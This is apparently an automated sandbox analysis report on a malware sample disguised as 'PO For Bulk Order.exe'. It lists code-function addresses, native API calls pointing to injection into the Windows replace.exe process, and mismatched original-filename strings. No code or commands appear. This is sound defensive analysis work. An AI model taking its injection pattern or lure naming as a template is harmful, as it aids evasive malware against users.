Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182E80 NtReadVirtualMemory,LdrInitializeThunk,	5_2_03182E80
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182EE0 NtQueueApcThread,LdrInitializeThunk,	5_2_03182EE0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182D10 NtMapViewOfSection,LdrInitializeThunk,	5_2_03182D10
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182D30 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_03182D30
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182DD0 NtDelayExecution,LdrInitializeThunk,	5_2_03182DD0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_03182DF0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_03182C70
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182C60 NtCreateKey,LdrInitializeThunk,	5_2_03182C60
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182CA0 NtQueryInformationToken,LdrInitializeThunk,	5_2_03182CA0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031835C0 NtCreateMutant,LdrInitializeThunk,	5_2_031835C0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031839B0 NtGetContextThread,LdrInitializeThunk,	5_2_031839B0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182B80 NtQueryInformationFile,	5_2_03182B80
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182AB0 NtWaitForSingleObject,	5_2_03182AB0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182F60 NtCreateProcessEx,	5_2_03182F60
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182F90 NtProtectVirtualMemory,	5_2_03182F90
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182FA0 NtQuerySection,	5_2_03182FA0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182E30 NtWriteVirtualMemory,	5_2_03182E30
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182EA0 NtAdjustPrivilegesToken,	5_2_03182EA0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182D00 NtSetInformationFile,	5_2_03182D00
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182DB0 NtEnumerateKey,	5_2_03182DB0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182C00 NtQueryInformationProcess,	5_2_03182C00
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182CC0 NtQueryVirtualMemory,	5_2_03182CC0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03182CF0 NtOpenProcess,	5_2_03182CF0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03183010 NtOpenDirectoryObject,	5_2_03183010
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03183090 NtSetValueKey,	5_2_03183090
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03183D10 NtOpenProcessToken,	5_2_03183D10
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03183D70 NtOpenThread,	5_2_03183D70
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_028293E0 NtCreateFile,	5_2_028293E0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_028296E0 NtClose,	5_2_028296E0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02829640 NtDeleteFile,	5_2_02829640
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02829550 NtReadFile,	5_2_02829550
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02829850 NtAllocateVirtualMemory,	5_2_02829850

Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_004187E3	2_2_004187E3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_00410003	2_2_00410003
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_00410007	2_2_00410007
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_004169F3	2_2_004169F3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_00410223	2_2_00410223
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_0040E223	2_2_0040E223
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_0040E371	2_2_0040E371
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_0040E373	2_2_0040E373
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_00402440	2_2_00402440
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_0042EE63	2_2_0042EE63
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_004026C0	2_2_004026C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_004026BD	2_2_004026BD
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_00402F50	2_2_00402F50
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_00402769	2_2_00402769
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_0040FFFA	2_2_0040FFFA
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A901AA	2_2_01A901AA
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A841A2	2_2_01A841A2
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A881CC	2_2_01A881CC
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C0100	2_2_019C0100
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6A118	2_2_01A6A118
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A58158	2_2_01A58158
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A62000	2_2_01A62000
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A903E6	2_2_01A903E6
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019DE3F0	2_2_019DE3F0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8A352	2_2_01A8A352
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A502C0	2_2_01A502C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A70274	2_2_01A70274
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A90591	2_2_01A90591
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0535	2_2_019D0535
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A7E4F6	2_2_01A7E4F6
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A74420	2_2_01A74420
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A82446	2_2_01A82446
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CC7C0	2_2_019CC7C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F4750	2_2_019F4750
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0770	2_2_019D0770
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EC6E0	2_2_019EC6E0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A9A9A6	2_2_01A9A9A6
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D29A0	2_2_019D29A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E6962	2_2_019E6962
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019B68B8	2_2_019B68B8
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019FE8F0	2_2_019FE8F0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019DA840	2_2_019DA840
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D2840	2_2_019D2840
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A86BD7	2_2_01A86BD7
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8AB40	2_2_01A8AB40
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CEA80	2_2_019CEA80
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E8DBF	2_2_019E8DBF
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019CADE0	2_2_019CADE0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019DAD00	2_2_019DAD00
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6CD1F	2_2_01A6CD1F
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A70CB5	2_2_01A70CB5
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C0CF2	2_2_019C0CF2
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0C00	2_2_019D0C00
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A4EFA0	2_2_01A4EFA0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C2FC8	2_2_019C2FC8
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019DCFE0	2_2_019DCFE0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A12F28	2_2_01A12F28
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A72F30	2_2_01A72F30
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019F0F30	2_2_019F0F30
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A44F40	2_2_01A44F40
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019E2E90	2_2_019E2E90
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8CE93	2_2_01A8CE93
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8EEDB	2_2_01A8EEDB
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8EE26	2_2_01A8EE26
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D0E59	2_2_019D0E59
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019DB1B0	2_2_019DB1B0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A9B16B	2_2_01A9B16B
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A0516C	2_2_01A0516C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BF172	2_2_019BF172
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A870E9	2_2_01A870E9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8F0E0	2_2_01A8F0E0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D70C0	2_2_019D70C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A7F0CC	2_2_01A7F0CC
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A1739A	2_2_01A1739A
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8132D	2_2_01A8132D
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019BD34C	2_2_019BD34C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D52A0	2_2_019D52A0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A712ED	2_2_01A712ED
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EB2C0	2_2_019EB2C0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6D5B0	2_2_01A6D5B0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A995C3	2_2_01A995C3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A87571	2_2_01A87571
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8F43F	2_2_01A8F43F
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019C1460	2_2_019C1460
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8F7B0	2_2_01A8F7B0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A816CC	2_2_01A816CC
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A15630	2_2_01A15630
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A65910	2_2_01A65910
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D9950	2_2_019D9950
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EB950	2_2_019EB950
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D38E0	2_2_019D38E0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A3D800	2_2_01A3D800
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EFB80	2_2_019EFB80
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A45BF0	2_2_01A45BF0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A0DBF9	2_2_01A0DBF9
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8FB76	2_2_01A8FB76
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A15AA0	2_2_01A15AA0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A71AA3	2_2_01A71AA3
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A6DAAC	2_2_01A6DAAC
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A7DAC6	2_2_01A7DAC6
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A43A6C	2_2_01A43A6C
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8FA49	2_2_01A8FA49
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A87A46	2_2_01A87A46
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019EFDC0	2_2_019EFDC0
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A87D73	2_2_01A87D73
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D3D40	2_2_019D3D40
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A81D5A	2_2_01A81D5A
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8FCF2	2_2_01A8FCF2
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A49C32	2_2_01A49C32
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D1F92	2_2_019D1F92
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8FFB1	2_2_01A8FFB1
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01993FD2	2_2_01993FD2
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01993FD5	2_2_01993FD5
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_01A8FF09	2_2_01A8FF09
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: 2_2_019D9EB0	2_2_019D9EB0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0320A352	5_2_0320A352
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_032103E6	5_2_032103E6
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0315E3F0	5_2_0315E3F0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031F0274	5_2_031F0274
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031D02C0	5_2_031D02C0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031EA118	5_2_031EA118
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03140100	5_2_03140100
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031D8158	5_2_031D8158
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_032041A2	5_2_032041A2
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_032101AA	5_2_032101AA
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_032081CC	5_2_032081CC
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031E2000	5_2_031E2000
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03174750	5_2_03174750
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03150770	5_2_03150770
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0314C7C0	5_2_0314C7C0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0316C6E0	5_2_0316C6E0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03150535	5_2_03150535
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03210591	5_2_03210591
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031F4420	5_2_031F4420
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03202446	5_2_03202446
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031FE4F6	5_2_031FE4F6
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0320AB40	5_2_0320AB40
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03206BD7	5_2_03206BD7
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0314EA80	5_2_0314EA80
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03166962	5_2_03166962
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0321A9A6	5_2_0321A9A6
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031529A0	5_2_031529A0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03152840	5_2_03152840
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0315A840	5_2_0315A840
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031368B8	5_2_031368B8
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0317E8F0	5_2_0317E8F0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03170F30	5_2_03170F30
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031F2F30	5_2_031F2F30
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03192F28	5_2_03192F28
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031C4F40	5_2_031C4F40
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031CEFA0	5_2_031CEFA0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03142FC8	5_2_03142FC8
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0315CFE0	5_2_0315CFE0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0320EE26	5_2_0320EE26
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03150E59	5_2_03150E59
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03162E90	5_2_03162E90
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0320CE93	5_2_0320CE93
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0320EEDB	5_2_0320EEDB
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031ECD1F	5_2_031ECD1F
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0315AD00	5_2_0315AD00
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03168DBF	5_2_03168DBF
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0314ADE0	5_2_0314ADE0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03150C00	5_2_03150C00
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031F0CB5	5_2_031F0CB5
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03140CF2	5_2_03140CF2
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0320132D	5_2_0320132D
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0313D34C	5_2_0313D34C
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0319739A	5_2_0319739A
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031552A0	5_2_031552A0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0316B2C0	5_2_0316B2C0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031F12ED	5_2_031F12ED
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0321B16B	5_2_0321B16B
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0313F172	5_2_0313F172
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0318516C	5_2_0318516C
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0315B1B0	5_2_0315B1B0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0320F0E0	5_2_0320F0E0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_032070E9	5_2_032070E9
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031FF0CC	5_2_031FF0CC
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031570C0	5_2_031570C0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0320F7B0	5_2_0320F7B0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03195630	5_2_03195630
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_032016CC	5_2_032016CC
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03207571	5_2_03207571
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031ED5B0	5_2_031ED5B0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_032195C3	5_2_032195C3
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0320F43F	5_2_0320F43F
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03141460	5_2_03141460
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0320FB76	5_2_0320FB76
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0316FB80	5_2_0316FB80
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0318DBF9	5_2_0318DBF9
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031C5BF0	5_2_031C5BF0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03207A46	5_2_03207A46
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0320FA49	5_2_0320FA49
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031C3A6C	5_2_031C3A6C
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031EDAAC	5_2_031EDAAC
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03195AA0	5_2_03195AA0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031F1AA3	5_2_031F1AA3
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031FDAC6	5_2_031FDAC6
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031E5910	5_2_031E5910
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03159950	5_2_03159950
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0316B950	5_2_0316B950
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031BD800	5_2_031BD800
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031538E0	5_2_031538E0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0320FF09	5_2_0320FF09
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03151F92	5_2_03151F92
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0320FFB1	5_2_0320FFB1
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03113FD2	5_2_03113FD2
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03113FD5	5_2_03113FD5
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03159EB0	5_2_03159EB0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03207D73	5_2_03207D73
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03153D40	5_2_03153D40
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_03201D5A	5_2_03201D5A
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0316FDC0	5_2_0316FDC0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_031C9C32	5_2_031C9C32
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0320FCF2	5_2_0320FCF2
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02811F80	5_2_02811F80
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0280CE27	5_2_0280CE27
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0280CE30	5_2_0280CE30
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0280CE34	5_2_0280CE34
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0280B050	5_2_0280B050
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0280D050	5_2_0280D050
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0280B19E	5_2_0280B19E
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0280B1A0	5_2_0280B1A0
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02815610	5_2_02815610
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02813820	5_2_02813820
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_0282BC90	5_2_0282BC90
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02EAE303	5_2_02EAE303
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02EAE1E5	5_2_02EAE1E5
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02EAE1C4	5_2_02EAE1C4
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02EAE69C	5_2_02EAE69C
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02EAD768	5_2_02EAD768
Source: C:\Windows\SysWOW64\replace.exe	Code function: 5_2_02EAE81E	5_2_02EAE81E

Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: String function: 01A3EA12 appears 86 times
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: String function: 01A05130 appears 58 times
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: String function: 01A17E54 appears 111 times
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: String function: 019BB970 appears 280 times
Source: C:\Users\user\Desktop\PO For Bulk Order.exe	Code function: String function: 01A4F290 appears 105 times
Source: C:\Windows\SysWOW64\replace.exe	Code function: String function: 03197E54 appears 111 times
Source: C:\Windows\SysWOW64\replace.exe	Code function: String function: 031CF290 appears 105 times
Source: C:\Windows\SysWOW64\replace.exe	Code function: String function: 031BEA12 appears 86 times
Source: C:\Windows\SysWOW64\replace.exe	Code function: String function: 03185130 appears 58 times
Source: C:\Windows\SysWOW64\replace.exe	Code function: String function: 0313B970 appears 280 times

Source: PO For Bulk Order.exe, 00000000.00000002.2148812447.0000000002643000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTL.dll" vs PO For Bulk Order.exe
Source: PO For Bulk Order.exe, 00000000.00000002.2162674878.0000000006F60000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameMontero.dll8 vs PO For Bulk Order.exe
Source: PO For Bulk Order.exe, 00000000.00000002.2152508550.00000000035F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTL.dll" vs PO For Bulk Order.exe
Source: PO For Bulk Order.exe, 00000000.00000000.2115351419.0000000000212000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameweVB.exe4 vs PO For Bulk Order.exe
Source: PO For Bulk Order.exe, 00000000.00000002.2144818286.000000000075E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs PO For Bulk Order.exe
Source: PO For Bulk Order.exe, 00000000.00000002.2161961020.0000000004F50000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTL.dll" vs PO For Bulk Order.exe
Source: PO For Bulk Order.exe, 00000002.00000002.2465721816.0000000001538000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameREPLACE.EXEj% vs PO For Bulk Order.exe
